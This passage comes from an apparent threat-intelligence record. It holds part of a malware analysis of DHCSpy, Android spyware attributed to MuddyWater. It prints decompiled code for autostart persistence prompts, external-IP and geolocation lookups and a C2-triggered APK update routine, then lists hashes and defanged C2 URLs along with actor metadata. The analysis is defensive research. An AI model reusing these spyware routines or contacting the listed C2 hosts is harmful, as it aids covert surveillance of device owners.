the actual state of the permission.\r\njava\r\npublic final State getAutoStartState(Context context) throws ... {\r\n \r\nObject objMethodGetState = fun_getApplicationAutoStart.invoke(null, context, context.getPacka\r\nInteger num = objInvoke instanceof Integer ? (Integer) objInvoke : null;\r\nif (num == null) {\r\nreturn State.UNEXPECTED_RESULT;\r\n}\r\nint iIntValue = num.intValue();\r\nif (iIntValue == 0) {\r\nreturn State.ENABLED;\r\n}\r\nif (iIntValue == 1) {\r\nreturn State.DISABLED;\r\n}\r\nreturn State.UNEXPECTED_RESULT;\r\n}\r\nFinally, when the Autostart permission is not granted, the application displays an alert dialog that redirects the user\r\nto the MIUI Security Center to enable it.\r\njava\r\npublic static boolean showAutoStartPermissionDialog(final Context context) {\r\nif (!Build.MANUFACTURER.equalsIgnoreCase(Utils.BRAND_XIAOMI) || Autostart.INSTANCE.getAutoSta\r\nreturn false;\r\n}\r\nAlertDialog alertDialogShow = new AlertDialog.Builder(new ContextThemeWrapper(context, C0686R\r\n.setTitle(C0686R.string.autoStartPermission)\r\n.setMessage(\"Autostart access is required for the program to work properly, otherwise the pro\r\n.setPositiveButton(C0686R.string.goToSettings, new DialogInterface.OnClickListener() {\r\n \r\n@Override\r\npublic void onClick(DialogInterface dialogInterface, int i) {\r\nIntent intent = new Intent();\r\nintent.setComponent(new ComponentName(\"com.miui.securitycenter\", \"com.miui.pe\r\n((Activity) context).startActivityForResult(intent, PointerIconCompat.TYPE_HA\r\n}\r\n}).setIcon(R.drawable.ic_dialog_alert).show();\r\nhttps://shindan.io/blog/dhcspy-discovering-the-iranian-apt-muddywater\r\nPage 26 of 31\n\nUnder Development\r\nIn the Understanding the Manifest section, we identified a feature called _deep linking_. However, no evidence\r\nof this functionality is present in the MainActivity class.\r\nThroughout this analysis, we will examine several pieces of evidence indicating that the malware is still in\r\ndevelopment and not in its final form. To support this conclusion, we will analyze both unused (dead) code and the\r\napplication’s update routine.\r\nMissing Calls\r\nIn this section, we present a non-exhaustive list of methods within the application that appear to be unused, as they\r\nare never invoked along any execution path nor referenced by other routines in the codebase.\r\nConnectivity Test\r\nThe ping function is the only method in the application that executes a system command. In this case, it\r\nperforms a basic connectivity test to Google’s public DNS server by invoking /system/bin/ping .\r\njava\r\ncom.p003bl.bl_vpn.util;\r\npublic static boolean ping() {\r\ntry {\r\nreturn Runtime.getRuntime().exec(\"/system/bin/ping -c 1 8.8.8.8\").waitFor() == 0;\r\n} catch (IOException e) {\r\ne.printStackTrace();\r\nreturn false;\r\n} catch (InterruptedException e2) {\r\ne2.printStackTrace();\r\nreturn false;\r\n}\r\n}\r\nExternal IP\r\nThis method retrieves the external IP address of the device by querying https://icanhazip.com . Malware\r\nauthors often leverage this URL to identify the geographic location or network characteristics of the infected user.\r\njava\r\nString getMyOwnIP() throws ... {\r\nStringBuilder sb = new StringBuilder();\r\nHttpURLConnection httpURLConnection = (HttpURLConnection) new URL(\"https://icanhazip.com\").op\r\nLocation\r\nhttps://shindan.io/blog/dhcspy-discovering-the-iranian-apt-muddywater\r\nPage 27 of 31\n\nAccording to the ipapi documentation:\r\nipapi provides an easy-to-use API interface allowing customers to look various pieces of information\r\nIPv4 and IPv6 addresses are associated with.\r\njava\r\npackage com.androidfung.geoip;\r\n \r\n \r\npublic final class ServicesManager {\r\n private static final String BASE_URL = \"https://ipapi.co/\";\r\n public static final ServicesManager INSTANCE = new ServicesManager();\r\n \r\n @JvmStatic\r\n public static void geoIpService$annotations() {\r\n }\r\n \r\n private ServicesManager() {\r\n }\r\n \r\n public static final GeoIpService getGeoIpService() throws SecurityException {\r\n Object objCreate = new Retrofit.Builder().baseUrl(BASE_URL).addConverterFactory(GsonConverte\r\n Intrinsics.checkExpressionValueIsNotNull(objCreate, \"Retrofit.Builder()\\n …GeoIpService\r\n return (GeoIpService) objCreate;\r\n }\r\n}\r\nUnknown Database\r\nvsbc.db is another database defined in the code but never created or used during the execution of the malware. It\r\ncontains a single table, usage , with fields for inbound and outbound bytes ( in_byte , out_byte ) and a\r\ntimestamp ( t_stamp ). The structure suggests it may have been intended to log network traffic statistics or track\r\napplication usage over time, although this functionality remains inactive.\r\njava\r\npackage com.p003bl.server_api.p005db.usage;\r\npublic class UsageDbHelper extends SQLiteOpenHelper {\r\n public static final String DATABASE_NAME = \"vsbc.db\";\r\n public static final int DATABASE_VERSION = 1;\r\n private static final String SQL_CREATE_ENTRIES = \"CREATE TABLE usage (_id INTEGER PRIMARY KEY,in_\r\n private static final String SQL_DELETE_ENTRIES = \"DROP TABLE IF EXISTS usage\";\r\nhttps://shindan.io/blog/dhcspy-discovering-the-iranian-apt-muddywater\r\nPage 28 of 31\n\nUpdate feature\r\nEarlier in the Response from C2 section, we examined the structure of the configResponseModel class and how\r\nit stores critical information received from the C2 server. Upon the spyware’s initial launch, the mode variable is\r\nset to \"ovpn\" to initiate the OpenVPN setup.\r\nDuring further inspection, we identified additional mode string constants within the\r\ncom.p003bl.server_api.model package:\r\njava\r\npublic static final String SERVER_MODE_ERROR = \"error\";\r\npublic static final String SERVER_MODE_MESSAGE = \"msg\";\r\npublic static final String SERVER_MODE_OVPN = \"ovpn\";\r\npublic static final String SERVER_MODE_UPDATE = \"update\";\r\npublic static final String SERVER_MODE_URL = \"url\";\r\nIn this section, we will focus specifically on the server update mode.\r\nThis flowchart shows the DHCSpy remote update mechanism, where the C2 server can instruct the application to\r\ndownload and install an APK ( Catalog.apk ). Upon receiving an “update” mode from the server, it displays a\r\nnotification to the user that triggers either a download or direct installation via installApk .\r\nhttps://shindan.io/blog/dhcspy-discovering-the-iranian-apt-muddywater\r\nPage 29 of 31\n\nIOCs\r\nSHA256\r\na4913f52bd90add74b796852e2a1d9acb1d6ecffe359b5710c59c82af59483ec\r\n48d1fd4ed521c9472d2b67e8e0698511cea2b4141a9632b89f26bd1d0f760e89\r\nFiles\r\nhttps://shindan.io/blog/dhcspy-discovering-the-iranian-apt-muddywater\r\nPage 30 of 31\n\n/data/data/com.earth.earth_vpn/databases/dsbc.db\r\n/data/data/com.earth.earth_vpn/databases/vsbc.db\r\nCommand and Control\r\nhxxps://r1[.]earthvpn[.]org[:]3413/\r\nhxxps://r2[.]earthvpn[.]org[:]3413/\r\nhxxps://r1[.]earthvpn[.]org[:]1254/\r\nhxxps://r2[.]earthvpn[.]org[:]1254/\r\nhxxps://it1[.]comodo-vpn[.]com[:]1953\r\nhxxps://it1[.]comodo-vpn[.]com[:]1950\r\nSource: https://shindan.io/blog/dhcspy-discovering-the-iranian-apt-muddywater\r\nhttps://shindan.io/blog/dhcspy-discovering-the-iranian-apt-muddywater\r\nPage 31 of 31",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://shindan.io/blog/dhcspy-discovering-the-iranian-apt-muddywater"
	],
	"report_names": [
		"dhcspy-discovering-the-iranian-apt-muddywater"
	],
	"threat_actors": [
		{
			"id": "02e1c2df-8abd-49b1-91d1-61bc733cf96b",
			"created_at": "2022-10-25T15:50:23.308924Z",
			"updated_at": "2026-04-10T02:00:05.298591Z",
			"deleted_at": null,
			"main_name": "MuddyWater",
			"aliases": [
				"MuddyWater",
				"Earth Vetala",
				"Static Kitten",
				"Seedworm",
				"TEMP.Zagros",
				"Mango Sandstorm",
				"TA450"
			],
			"source_name": "MITRE:MuddyWater",
			"tools": [
				"STARWHALE",
				"POWERSTATS",
				"Out1",
				"PowerSploit",
				"Small Sieve",
				"Mori",
				"Mimikatz",
				"LaZagne",
				"PowGoop",
				"CrackMapExec",
				"ConnectWise",
				"SHARPSTATS",
				"RemoteUtilities",
				"Koadic"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "2ed8d590-defa-4873-b2de-b75c9b30931e",
			"created_at": "2023-01-06T13:46:38.730137Z",
			"updated_at": "2026-04-10T02:00:03.08136Z",
			"deleted_at": null,
			"main_name": "MuddyWater",
			"aliases": [
				"TEMP.Zagros",
				"Seedworm",
				"COBALT ULSTER",
				"G0069",
				"ATK51",
				"Mango Sandstorm",
				"TA450",
				"Static Kitten",
				"Boggy Serpens",
				"Earth Vetala"
			],
			"source_name": "MISPGALAXY:MuddyWater",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "156b3bc5-14b7-48e1-b19d-23aa17492621",
			"created_at": "2025-08-07T02:03:24.793494Z",
			"updated_at": "2026-04-10T02:00:03.634641Z",
			"deleted_at": null,
			"main_name": "COBALT ULSTER",
			"aliases": [
				"Boggy Serpens ",
				"ENT-11 ",
				"Earth Vetala ",
				"ITG17 ",
				"MERCURY ",
				"Mango Sandstorm ",
				"MuddyWater ",
				"STAC 1171 ",
				"Seedworm ",
				"Static Kitten ",
				"TA450 ",
				"TEMP.Zagros ",
				"UNC3313 ",
				"Yellow Nix "
			],
			"source_name": "Secureworks:COBALT ULSTER",
			"tools": [
				"CrackMapExec",
				"Empire",
				"FORELORD",
				"Koadic",
				"LaZagne",
				"Metasploit",
				"Mimikatz",
				"Plink",
				"PowerStats"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "3c430d71-ab2b-4588-820a-42dd6cfc39fb",
			"created_at": "2022-10-25T16:07:23.880522Z",
			"updated_at": "2026-04-10T02:00:04.775749Z",
			"deleted_at": null,
			"main_name": "MuddyWater",
			"aliases": [
				"ATK 51",
				"Boggy Serpens",
				"Cobalt Ulster",
				"G0069",
				"ITG17",
				"Mango Sandstorm",
				"MuddyWater",
				"Operation BlackWater",
				"Operation Earth Vetala",
				"Operation Quicksand",
				"Seedworm",
				"Static Kitten",
				"T-APT-14",
				"TA450",
				"TEMP.Zagros",
				"Yellow Nix"
			],
			"source_name": "ETDA:MuddyWater",
			"tools": [
				"Agentemis",
				"BugSleep",
				"CLOUDSTATS",
				"ChromeCookiesView",
				"Cobalt Strike",
				"CobaltStrike",
				"CrackMapExec",
				"DCHSpy",
				"DELPHSTATS",
				"EmPyre",
				"EmpireProject",
				"FruityC2",
				"Koadic",
				"LOLBAS",
				"LOLBins",
				"LaZagne",
				"Living off the Land",
				"MZCookiesView",
				"Meterpreter",
				"Mimikatz",
				"MuddyC2Go",
				"MuddyRot",
				"Mudwater",
				"POWERSTATS",
				"PRB-Backdoor",
				"PhonyC2",
				"PowGoop",
				"PowerShell Empire",
				"PowerSploit",
				"Powermud",
				"QUADAGENT",
				"SHARPSTATS",
				"SSF",
				"Secure Socket Funneling",
				"Shootback",
				"Smbmap",
				"Valyria",
				"chrome-passwords",
				"cobeacon",
				"prb_backdoor"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434010,
	"ts_updated_at": 1775826695,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/12a9542b083279b27263cb2c3b6c59b12cbc8881.pdf",
		"text": "https://archive.orkl.eu/12a9542b083279b27263cb2c3b6c59b12cbc8881.txt",
		"img": "https://archive.orkl.eu/12a9542b083279b27263cb2c3b6c59b12cbc8881.jpg"
	}
}